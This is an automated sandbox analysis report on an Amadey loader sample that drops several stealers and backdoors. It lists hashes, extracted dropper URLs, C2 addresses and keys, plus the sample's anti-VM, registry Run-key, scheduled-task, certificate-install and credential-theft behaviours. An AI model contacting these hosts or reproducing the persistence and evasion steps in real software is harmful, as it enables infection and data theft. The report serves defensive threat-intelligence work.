amadey | 8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
06/03/2025, 01:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
Size

938KB
MD5

100bd6bacfe8cde2b3d01379c45e9282
SHA1

5af8a1c8556ee19da4a43d1c9a5fced8960fb751
SHA256

8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c
SHA512

b6e02ef0adde68a5dcbd707c8bbb4dd0ff705c48b53cc5b4d1ff4a6eec772668a2c80ee1a61bd6d9906a8ab9412ea7904d293281de4ad3afff5b782e444600ef
SSDEEP

24576:VqDEvCTbMWu7rQYlBQcBiT6rprG8aylF:VTvC/MTQYxsWR7ayl

Score

10^/10

amadey gcleaner healer stealc stormkitty systembc 092155 trump defense_evasion discovery dropper execution loader persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

systembc

towerbingobongoboom.com

62.60.226.86

Attributes

dns
5.132.191.104

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral1/memory/174240-620-0x00000000009B0000-0x0000000000DFE000-memory.dmp	healer
behavioral1/memory/174240-617-0x00000000009B0000-0x0000000000DFE000-memory.dmp	healer

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0005000000019621-127.dat	family_stormkitty
behavioral1/memory/2720-133-0x0000000000360000-0x00000000003F4000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Systembc family
systembc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	vertualiziren.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	435444df89.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	vsigno.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2100	powershell.exe
15	2440	powershell.exe
16	2500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe
1784	powershell.exe
2452	powershell.exe
1696	powershell.exe
2492	powershell.exe
2052	powershell.exe
2440	powershell.exe
2500	powershell.exe
2100	powershell.exe

Downloads MZ/PE file 16 IoCs

flow	pid	Process
16	2500	powershell.exe
7	1276	rapes.exe
7	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
11	1276	rapes.exe
21	18248	Process not Found
49	1276	rapes.exe
4	2100	powershell.exe
12	2176	Gxtuum.exe
15	2440	powershell.exe

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	435444df89.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vertualiziren.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vertualiziren.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	435444df89.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vsigno.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vsigno.exe

Executes dropped EXE 64 IoCs

pid	Process
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
1276	rapes.exe
1956	PcAIvJ0.exe
1028	nhDLtPT.exe
2176	Gxtuum.exe
1440	vertualiziren.exe
2400	BUZd3Mq.exe
2720	Build.exe
2804	dafb180ffe.exe
1728	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
2920	2asf3YX.exe
2424	435444df89.exe
1232	vsigno.exe
2208	5543c91dc1.exe
1424	5543c91dc1.exe
2056	5543c91dc1.exe
888	5543c91dc1.exe
1004	5543c91dc1.exe
3052	5543c91dc1.exe
2240	5543c91dc1.exe
1616	5543c91dc1.exe
1576	5543c91dc1.exe
2092	5543c91dc1.exe
1212	5543c91dc1.exe
2080	5543c91dc1.exe
1880	5543c91dc1.exe
1220	5543c91dc1.exe
2548	5543c91dc1.exe
2496	5543c91dc1.exe
2816	5543c91dc1.exe
1020	5543c91dc1.exe
1668	5543c91dc1.exe
2924	5543c91dc1.exe
2704	5543c91dc1.exe
2728	5543c91dc1.exe
2848	5543c91dc1.exe
2852	5543c91dc1.exe
2936	5543c91dc1.exe
2416	5543c91dc1.exe
2248	5543c91dc1.exe
3068	5543c91dc1.exe
1740	5543c91dc1.exe
1624	5543c91dc1.exe
1456	5543c91dc1.exe
2584	5543c91dc1.exe
2380	5543c91dc1.exe
2648	5543c91dc1.exe
2904	5543c91dc1.exe
920	5543c91dc1.exe
1216	5543c91dc1.exe
2948	5543c91dc1.exe
2900	5543c91dc1.exe
856	5543c91dc1.exe
2856	5543c91dc1.exe
1248	5543c91dc1.exe
2068	5543c91dc1.exe
2736	5543c91dc1.exe
2680	5543c91dc1.exe
2684	5543c91dc1.exe
3032	5543c91dc1.exe
816	5543c91dc1.exe
2600	5543c91dc1.exe
2592	5543c91dc1.exe
2012	5543c91dc1.exe

Identifies Wine through registry keys 2 TTPs 11 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	vertualiziren.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	435444df89.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	vsigno.exe
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE

Loads dropped DLL 64 IoCs

pid	Process
2100	powershell.exe
2100	powershell.exe
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
1276	rapes.exe
1276	rapes.exe
1276	rapes.exe
1028	nhDLtPT.exe
2176	Gxtuum.exe
2176	Gxtuum.exe
1276	rapes.exe
1276	rapes.exe
2400	BUZd3Mq.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
816	WerFault.exe
1276	rapes.exe
2440	powershell.exe
2440	powershell.exe
1276	rapes.exe
1276	rapes.exe
1276	rapes.exe
1276	rapes.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe
2208	5543c91dc1.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\dafb180ffe.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108470101\\dafb180ffe.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108480121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\cc8a07414f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108750101\\cc8a07414f.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\05bb15ddb8.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108760101\\05bb15ddb8.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\f727984381.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108770101\\f727984381.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com
13	ipinfo.io
14	ipinfo.io

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001962b-147.dat	autoit_exe
behavioral1/files/0x000500000001a4ed-462.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs

pid	Process
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
1276	rapes.exe
1440	vertualiziren.exe
1728	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
2516	483d2fa8a0d53818306efeb32d3.exe
2424	435444df89.exe
1232	vsigno.exe
88132	Process not Found
103432	Process not Found
118420	Process not Found
143532	Process not Found

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2424 set thread context of 18248	2424	435444df89.exe	2078
PID 88132 set thread context of 117412	88132	Process not Found	14426

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\Gxtuum.job	nhDLtPT.exe
File created	C:\Windows\Tasks\Test Task17.job	vertualiziren.exe
File created	C:\Windows\Tasks\rapes.job	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
816	2720	WerFault.exe	52
120880	118420	Process not Found	14543

System Location Discovery: System Language Discovery 1 TTPs 46 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BUZd3Mq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	435444df89.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vertualiziren.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dafb180ffe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhDLtPT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsigno.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5543c91dc1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	2asf3YX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	2asf3YX.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	Process not Found

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1788	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
161700	Process not Found
167196	Process not Found
167680	Process not Found
168168	Process not Found
168660	Process not Found

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_Classes\Local Settings	Process not Found

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	Process not Found
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Process not Found
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2400	schtasks.exe
2744	schtasks.exe
